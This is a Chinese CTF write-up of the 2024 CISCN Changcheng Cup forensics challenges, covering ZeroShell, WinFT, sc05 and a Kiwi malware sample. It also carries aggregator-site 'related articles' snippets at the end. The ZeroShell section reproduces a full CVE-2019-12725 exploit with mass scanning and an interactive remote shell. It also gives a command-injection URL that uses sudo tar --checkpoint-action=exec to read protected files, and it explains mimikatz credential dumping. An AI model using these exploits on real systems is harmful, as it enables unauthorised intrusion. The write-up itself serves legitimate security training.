2024CISCN长城杯wp

news/2025/2/24 9:45:17/文章来源:https://www.cnblogs.com/RongYan/p/18733388

威胁检测与网络流量分析

zeroshell_1

1.解法一:分析流量包 ,提取http对象,找到包含命令的流量包

img

Referer字段很像base64编码,试一试

真是flag

img

2.解法二:CTF_NAT一把梭,找到包含flag的密文,cyberchef解密

img

img

zeroshell_2

1.解法一:网上找漏洞payload,在url里进行注入,先找flag名称,再cat

2.解法二:网上找别人写好的CVE-EXP

import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import randomurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]#随机ua
def get_ua():first_num = random.randint(55, 62)third_num = random.randint(0, 3200)fourth_num = random.randint(0, 140)os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)','(Macintosh; Intel Mac OS X 10_12_6)']chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36','(KHTML, like Gecko)', chrome_version, 'Safari/537.36'])return uadef check_vuln(url):url = parse.urlparse(url)url2=url.scheme + '://' + url.netloc headers = {'User-Agent': get_ua(),}# data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")try:res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)if res2.status_code==200 and "uid" in res2.text:print("\033[32m[+]%s is vuln\033[0m" %url2)return 1else:print("\033[31m[-]%s is not vuln\033[0m" %url1)except Exception as e:print("\033[31m[-]%s is timeout\033[0m" %url2)#cmdshell
def cmdshell(url):if check_vuln(url)==1:url = parse.urlparse(url)url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'while 1:shell = input("\033[35mcmd: \033[0m")if shell =="exit":sys.exit(0)else:headers = {'User-Agent': get_ua(),}try:res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)if res.status_code==200 and len(res.text) != 0:vulntext=res.text.split('<html>')print("\033[32m%s\033[0m" %vulntext[0])else:print("\033[31m[-]%s Command execution failed !\033[0m" %url1)except Exception as e:print("\033[31m[-]%s is timeout!\033[0m" %url1)#多线程
def multithreading(url_list, pools=5):works = []for i in url_list:# works.append((func_params, None))works.append(i)# print(works)pool = threadpool.ThreadPool(pools)reqs = threadpool.makeRequests(check_vuln, works)[pool.putRequest(req) for req in reqs]pool.wait()if __name__ == '__main__':show = r'''_____ _   _ _____       _____  _____  __   _____        __   _____  ___________  _____ /  __ \ | | |  ___|     / __  \|  _  |/  | |  _  |      /  | / __  \|___  / __  \|  ___|| /  \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /'   / /`' / /'|___ \ | |   | | | |  __|______| / /  |  /| | | | \____ |______|| |   / /    / /   / /      \ \| \__/\ \_/ / |___      ./ /___\ |_/ /_| |_.___/ /      _| |_./ /___./ /  ./ /___/\__/ /\____/\___/\____/      \_____/ \___/ \___/\____/       \___/\_____/\_/   \_____/\____/ CVE-2019-12725 By m2'''print(show + '\n')arg=ArgumentParser(description='CVE-2019-12725 By m2')arg.add_argument("-u","--url",help="Target URL; Example:http://ip:port")arg.add_argument("-f","--file",help="Target URL; Example:url.txt")arg.add_argument("-c","--cmd",help="Target URL; Example:http://ip:port")args=arg.parse_args()url=args.urlfilename=args.filecmd=args.cmdprint('[*]任务开始...')if url != None and cmd == None and filename == None:check_vuln(url)elif url == None and cmd == None and filename != None:start=time()for i in open(filename):i=i.replace('\n','')check_vuln(i)end=time()print('任务完成,用时%d' %(end-start))elif url == None and cmd != None and filename == None:cmdshell(cmd)

命令

python C:\Users\86157\Desktop\1.py -c http://61.139.2.100/

直接拿到shell

img

img

拿到flag

zeroshell_3

查看外链

netstat -antp

木马是定时启动,所以有时候看不到外联ip,可以通过数据包分析得到

img

分析流量包,外联木马,源地址肯定是防火墙

img

2.三次机会,试到202.115.86.103,刚好对了

这下找到了

img

zeroshell_4

1.解法一:直接找可执行文件像.sh或者.nginx这种使用命令

find / -name ".sh"
find / -name ".nginx"

.sh文件没有,发现.nginx很多,尝试一下。

img

flag{.nginx}

2.解法二:使用DiskGenius挂载vmdk,分析文件

在第二题flag的同目录下找到一个.nginx文件,复制出来

img

zeroshell_5

1.解法一:可以wget远程下载.nignx文件

wget "http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/tmp/.nginx'%0A'"

2.解法二:用磁盘挂载软件,直接下载,需要专业版

用IDA打开,字节查找字符串,反弹ip后面的应该就是密钥了

img

使用微步云沙箱也可以对木马进行分析

zeroshell_6

ps -aux     查看可以进程进程

img

接下来一个文件一个文件的看

img

img

flag{/var/register/system/startup/scripts/nat/File}

WinFT_1

img

使用currports查看进程外联情况,等待一段时间后,发现可以外联

本地ip:192.168.116.123:49160

回连ip:192.168.116.130:443

回连域名:miscsecure.com:443

img

flag{miscsecure.com:192.168.116.130:443}

WinFT_2

img

使用pchunter64应用,查看启动信息-计划任务,发现可疑flag

img

导出为txt格式,复制加密后的flag,用base64解码,得到

img

再用html解码

img

flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

WinFT_3

根据上一题的提示,everything搜索fla^g,发现可疑文件

img

可以解压,不过需要密码

img

密码为木马进程名字 flvupdate

得到驻留的flag

img

flag{Timeline_correlation_is_a_very_important_part_of_the_digital_forensics_process}

WinFT_4

img

在靶机的环境中,Thunderbird 的快捷方式很突出,对邮件列表进行排查,重点观察带附件的邮件,发现

查看此发件人的来往邮件

img

查看该邮件源码

img

进行base64解密

img

再对其中的key值进行url解码

img

再进行一次base64解码

img

得到flag{The Journey to the West}

WinFT_5

img

打开恶意流量包

img

http导出对象client和server,压缩包被分为两部分,根据前面提示,时间线关联非常重要,说明压缩包有顺序

Client 用010打开有pk头

img

将server拼接在clinet后面,另保存为zip文件

img

解压需要密码

img

压缩包最后包含可疑字符串,猜测为密码,base64解密

img

打开flag.txt 得到密码

img

flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}

WinFT_6

img

WinFT-5的flag,提示是CBC模式,得到key为a1b2c3d4e5f67890abcdef1234567890,iv为2f4d90a1b7c8e2349d3f56e0a9b01b8a

对ip==192.168.116.130 进行筛选

img

发现可能存在密文

img

利用cyberchef在线解密,得到flag

img

flag{Hey, keep going and look for another flag}

sc05_1

img

查找 firewall.xlsx文件直接搜索134.6.4.12,在tcp-export表中

img

img

flag{01DF5BC2388E287D4CC8F11EA4D31929}

sc05_2

img

sc05_3

img

sc05_4

img

sc05_5

img

Kiwi

img

分析kiwi.exe的逆向

img

main函数中发现

img

L"lsadump::lsa /patch" 是一个 minikatz 的指令,具体功能如下:

  1. lsadump 模块lsadumpminikatz 的一个模块,用于转储和操作 Windows 的 Local Security Authority (LSA) 相关信息。
  2. ::lsa: 这是 lsadump 模块下的一个子命令,用于操作 LSA 相关的凭据和秘密。
  3. /patch 参数/patch 参数的作用是修改 LSA 的行为,通常用于绕过某些安全限制或修复某些功能。

sub_2974为加密函数

img

sub_2774为上传报文的函数,具有关键词upload,可以根据url,在流量包中查找密文

img

在流量包中使用过滤器

Tcp contains "upload"

有三个包传输了数据

img

追踪tcp流,可以发现三个包传输的密文是相同的,任取一个即可

img

l1Mvs8wZ1LI/v3Vup1zF8bzdp1B51zz0e0xdfIXNBQMOe1wFEg+Z03ljczfC1qGdp0Y6bWnJ7rUqnQrZmVT9nFPRXqYpURBxuBKInjI5Q2xVgs56q4VRCQWbiyv00Aw7D0CKEotHSy6sQAC1x3T9wDx6xPCioqx/0nwNgrvJnF1Oq7NFZsVpnAxaZC5BVfKSEttFPjYgv3uSfmtxeJg7pPCHmJ8qf/Sd7W7n3gKSB2BELb==

正常的base64无法解密,需要观察前面加密函数中的具体加密过程

v5和v8生成了一个随机种子v6

img

word_1070中存放了base变表

img

img

开始解密

第一步:先将密文利用base64变表解密,转化为hex

img

第二步:算出总值和随机数

#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<stdint.h>void main() {long long seed = 0;int a2[] = { 0x0069, 0x0078, 0x0065, 0x0064, 0x0053, 0x0065, 0x0065, 0x0064, 0x0000 };int v5 = 70, v7 = 0;long long a1 = 1;do{seed = (seed + a1 * v5) % 256;v5 = a2[v7++];      a1 += 1;} while (v5);srand(seed);for (int i = 0; i < 240; i++) {printf("%d,", rand() % 128);}
}

img

第三步:在利用Z3算法解密出明文内容

from z3 import*
s = Solver()
a = [BitVec("flag[%d]"%i,7) for i in range(178)]
a1 = a[:]
enc = [0xb9,0x48,0x1c,0x58,0x81,0x4f,0x51,0x7d,0x27,0x70,0x33,0x6f,0x79,0x48,0x82,0x21,0x08,0x80,0x79,0x49,0x51,0x52,0x28,0x9b,0x7d,0xbb,0x40,0x67,0x45,0x7a,0x96,0x38,0x3e,0x7d,0x41,0x42,0x86,0x60,0x4f,0x6c,0x3b,0x87,0x2e,0x26,0x72,0x51,0x83,0x80,0x79,0xbd,0x79,0x40,0x67,0x71,0x4a,0xa2,0x98,0x76,0x3a,0x8f,0x68,0xda,0x7f,0x74,0x2a,0x33,0x55,0x8d,0x5e,0x2b,0x39,0x6d,0xbe,0x5f,0x74,0x74,0x7d,0x11,0x8e,0x4b,0x4d,0x99,0x64,0x79,0x63,0xb3,0x73,0xca,0x31,0x90,0xc3,0x77,0x1b,0x6f,0x61,0x52,0x11,0xbc,0xbd,0x86,0xb2,0x78,0x4f,0x7e,0x56,0x8f,0x6c,0x94,0xb4,0x3a,0x7f,0x14,0x4b,0x79,0xb6,0x8c,0xb0,0xad,0x8b,0x67,0x6d,0xd1,0x7a,0x9a,0xa7,0x31,0x74,0x25,0x3e,0x61,0x2e,0x82,0x3d,0x63,0x5e,0x77,0x6b,0x7c,0x3f,0x24,0x65,0x35,0x9f,0x53,0x84,0x92,0x42,0xa0,0x7d,0x66,0x70,0x3b,0xd3,0x65,0xa2,0x6d,0x7f,0x19,0x92,0x7a,0x8c,0xb8,0x6b,0x12,0x18,0x66,0x74,0xc0,0x48,0x64,0x9d,0x0e,0x6f,0x53,0x96,0x49,0x61,0x5d]
table_ram= [125,46,16,61,45,39,68,121,39,105,51,85,92,45,122,4,2,101,22,34,20,45,4,71,26,127,38,91,42,38,105,44,47,117,37,61,105,56,69,98,53,107,39,9,15,42,70,91,85,105,22,4,77,101,47,78,106,90,46,117,75,119,88,55,5,15,1,42,34,17,45,82,106,58,116,115,97,9,43,36,16,116,64,37,8,89,102,114,37,55,114,24,16,30,5,72,7,100,108,42,97,26,68,115,76,62,98,58,90,50,114,8,60,109,93,46,77,113,113,91,82,125,60,109,127,3,56,8,62,92,46,101,45,59,84,109,101,96,56,7,2,14,98,46,96,62,53,70,34,21,23,48,121,20,82,28,35,15,57,30,49,96,14,5,14,92,35,104,61,6,64,1,98,3,69,62,4,78,16,22,17,45,33,26,34,100,124,76,1,40,79,51,105,86,85,47,12,101,122,11,90,26,64,81,1,122,97,98,48,5,54,69,33,33,87,64,86,85,4,37,35,55,68,111,108,40,75,13,48,62,33,126,70,2,1,30,103,92,0,64]
for  i in range(178):a[i] = table_ram[i]+(105^a[i])
for i in range(178):s.add(enc[i]==a[i])
if s.check() == sat:m = s.model()for i in range(178):print((chr(m[a1[i]].as_long()) ),end = '')

img

第四步:求解Lihua的登录密码 md5 :23d1e086b85cc18587bbc8c33adefe07

使用hashcat成功解密

img

flag{memeallme!}

sxmisc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/888896.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Debian 11 离线安装MySql记录

环境:mysql:mysql-8.0.32-linux-glibc2.17-aarch64.tar.gz 1、上传到服务器,然后解压缩 tar -zxvf mysql-8.0.32-linux-glibc2.17-aarch64.tar.gz 2、移动到指定目录/usr/local/mysql-8 mv mysql-8.0.32-linux-glibc2.17-aarch64 /usr/local/mysql-8 3、创建MySQL数据目录 m…

一个支持多家云存储驱动的公有云文件系统!

Cloudreve —— 一个基于 Go + React 实现的支持多家云存储驱动的公有云文件系统,适用于搭建个人网盘、文件分享系统等。大家好,我是 Java陈序员。 在日常生活中,我们会记录很多精彩的瞬间,或图片或视频,并存放在网盘中。 然而,很多商业网盘下载速度慢,而且不能很好地保…

传统ftp软件问题频出,一文了解适配的替代方案!

在互联网发展的早期,ftp软件凭借其简单易用的特性,成为了文件传输领域的中流砥柱,帮助无数企业实现文件的远程传输与共享。时过境迁,在如今数据量呈爆炸式增长、网络环境愈发复杂的时代,ftp软件就像一位上了年纪的老将,逐渐显露出诸多力不从心之处。 1.数据裸奔的安全风…

原创--记一次配置小米路由器(miwifi)的过程

1.登录2.登录后3.4.设置WAN口IP相关信息5.设置LAN口IP相关信息至此,配置完成,打通了LAN口与WAN口之间的数据传输 大概示意图如下: 海阔凭鱼跃,天高任鸟飞,成功没有捷径,唯有努力前行!

大三下每日打卡002(搭建Android平台和创建HelloWorld并发布apk)

实验一:搭建Android平台和创建HelloWorld 实验目的 本次实验的目的是让大家熟悉搭建智能手机开发平台的过程,了解Andorid开发项目的基本文件目录结构,并实现HelloWorld小例程。 实验要求完成Android开发平台的搭建及相关配置 创建项目并熟悉文件目录结构 实现例程HelloWorld…

TOTP算法介绍

摘要 本文根据 RFC4226 和 RFC6238 文档,详细的介绍 HOTP 和 TOTP 算法的原理和实现。 两步验证已经被广泛应用于各种互联网应用当中,用来提供安全性。对于如何使用两步验证,大家并不陌生,无非是开启两步验证,然后出现一个二维码,使用支持两步验证的移动应用比如 Google …

5090D-deepseek-Anythingllm-Ollama运行测试

ollama ollama配置环境变量ollama地址与镜像 C:\Users\DK>curl http://10.208.10.240:11434 Ollama is running C:\Users\DK>ollama list NAME ID SIZE MODIFIED bge-m3:latest 790764642607 1.2 GB 28 ho…

web课程

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>这是一个标题</title> </head> &…

解密ZAB协议:Zookeeper一致性的核心实现

一致性问题 设计一个分布式系统必定会遇到一个问题—— 因为分区容忍性(partition tolerance)的存在,就必定要求我们需要在系统可用性(availability)和数据一致性(consistency)中做出权衡 。这就是著名的 CAP 定理。 ZooKeeper 的处理方式,保证了 CP(数据一致性) 一致…

解密prompt系列49. 回顾R1之前的思维链发展路线

我先按照自己的思路来梳理下R1之前整个模型思维链的发展过程,可以分成3个阶段:大模型能思考,外生慢思考,内生慢思考在所有人都在谈论R1的今天,作为算法也是有些千头万绪无从抓起。所以这一章先复盘,我先按照自己的思路来梳理下R1之前整个模型思维链的发展过程。下一章再展…

CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比

CSnakes 是一个用于在.NET项目中嵌入Python代码的工具,由.NET源生成器和运行时组成,能够实现高效的跨语言调用,Github:https://github.com/tonybaloney/CSnakes。以下是关键信息整理:核心特性跨版本支持:兼容.NET 8-9、Python 3.9-3.13,支持Windows/macOS/Linux系统高性…